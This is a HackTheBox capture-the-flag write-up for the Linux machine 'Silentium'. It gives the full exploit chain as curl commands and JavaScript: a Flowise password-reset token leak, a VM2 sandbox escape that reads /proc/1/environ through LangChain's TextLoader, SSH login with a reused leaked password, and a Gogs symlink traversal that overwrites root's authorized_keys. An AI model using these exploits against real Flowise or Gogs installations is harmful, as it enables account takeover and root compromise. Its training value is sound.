Silentium - HackTheBox Writeup
Difficulty: Easy | OS: Linux | Season: 10
Summary
Silentium is an Easy Linux machine featuring a Flowise AI Agent Builder (v3.0.5) and an internal Gogs Git service (v0.13.3). The attack chain involves:
- CVE-2025-58434 - Flowise password reset vulnerability to gain admin access
- Custom Function RCE - Using LangChain's TextLoader within Flowise's VM2 sandbox to read sensitive environment variables
- CVE-2025-8110 - Gogs symlink path traversal to write an SSH public key to root's authorized_keys
Reconnaissance
Port Scan
22/tcp - SSH
80/tcp - HTTP (nginx 1.24.0)
Virtual Host Enumeration
silentium.htb- Static corporate websitestaging.silentium.htb- Flowise 3.0.5 instance
Foothold - Flowise Admin Access (CVE-2025-58434)
Flowise 3.0.5 has a vulnerability in the forgot-password endpoint that leaks user data including a tempToken:
# Get tempToken
curl -X POST http://staging.silentium.htb/api/v1/account/forgot-password \
-H "Content-Type: application/json" \
-d '{"user":{"email":"ben@silentium.htb"}}'
# Response includes tempToken
# Reset password
curl -X POST http://staging.silentium.htb/api/v1/account/reset-password \
-H "Content-Type: application/json" \
-d '{"user":{"email":"ben@silentium.htb","tempToken":"<TOKEN>","password":"x"}}'
# Login
curl -c cookies.txt -X POST http://staging.silentium.htb/api/v1/auth/login \
-H "Content-Type: application/json" \
-d '{"email":"ben@silentium.htb","password":"x"}'
Important: All authenticated API calls require both session cookies AND the x-request-from: internal header.
User - Reading Environment Variables via Custom Function
The Sandbox Challenge
Flowise's POST /api/v1/node-custom-function endpoint executes JavaScript in a VM2 sandbox. Direct file system modules (fs, child_process) are blocked:
// FAILS: Cannot find module 'fs'
const fs = require("fs");
The Breakthrough: LangChain TextLoader
By enumerating available modules, I discovered that LangChain document loaders are accessible. The TextLoader class internally uses fs from the host Node.js context, bypassing the VM2 sandbox restriction:
const { TextLoader } = require("langchain/document_loaders/fs/text");
const loader = new TextLoader("/proc/1/environ");
const docs = await loader.load();
return docs[0].pageContent;
This revealed the container's environment variables:
FLOWISE_USERNAME=ben
FLOWISE_PASSWORD=F1l3_d0ck3r
SMTP_PASSWORD=r04D!!_R4ge
SENDER_EMAIL=ben@silentium.htb
SSH Access
The SMTP_PASSWORD (r04D!!_R4ge) is reused as ben's SSH password:
ssh ben@silentium.htb # password: r04D!!_R4ge
cat ~/user.txt
Root - Gogs Symlink RCE (CVE-2025-8110)
Internal Service Discovery
ss -tlnp
# 127.0.0.1:3001 - Gogs 0.13.3
# 127.0.0.1:8025 - MailHog
Set up SSH tunnel:
ssh -L 3001:127.0.0.1:3001 ben@silentium.htb
CVE-2025-8110: Symlink Path Traversal
Gogs 0.13.3 has a symlink-based path traversal vulnerability. The PutContents API (PUT /api/v1/repos/{owner}/{repo}/contents/{filepath}) follows symlinks when writing file content, allowing arbitrary file writes as root.
Step 1: Register and Authenticate
Register a new user on Gogs (captcha required), then create an API token through the web interface at /user/settings/applications.
Step 2: Create Repository and Push Symlink
# Create repo via API
curl -X POST http://localhost:3001/api/v1/user/repos \
-H "Authorization: token <TOKEN>" \
-d '{"name":"pwn2","auto_init":true}'
# Clone and add malicious symlink
git clone http://user:pass@localhost:3001/user/pwn2.git
cd pwn2
ln -s /root/.ssh/authorized_keys root_keys
git add root_keys
git commit -m "add link"
git push origin master
Step 3: Write SSH Key via Symlink
Generate an SSH key pair, then use the PutContents API to write the public key through the symlink:
ssh-keygen -t ed25519 -f /tmp/htb_key -N ''
# Get current SHA
SHA=$(curl -s http://localhost:3001/api/v1/repos/user/pwn2/contents/root_keys \
-H "Authorization: token <TOKEN>" | jq -r .sha)
# Overwrite /root/.ssh/authorized_keys via symlink
curl -X PUT http://localhost:3001/api/v1/repos/user/pwn2/contents/root_keys \
-H "Authorization: token <TOKEN>" \
-H "Content-Type: application/json" \
-d "{\"content\":\"$(base64 -w0 /tmp/htb_key.pub)\",\"message\":\"update\",\"sha\":\"$SHA\"}"
Critical Note: The symlink must use an absolute path (e.g., /root/.ssh/authorized_keys). Relative symlinks like .git/config cause a 500 error because they resolve incorrectly within the PutContents temporary working tree.
Step 4: Root Access
ssh -i /tmp/htb_key root@silentium.htb
cat /root/root.txt
Key Takeaways
- VM2 sandbox bypass via module dependencies: Even when
fsis blocked directly, npm packages that depend onfsinternally (like LangChain's TextLoader) can still read files. - Absolute vs relative symlinks matter: The CVE-2025-8110 exploit requires absolute path symlinks for reliable exploitation.
- Password reuse: The SMTP password configured in Flowise was reused as the system SSH password.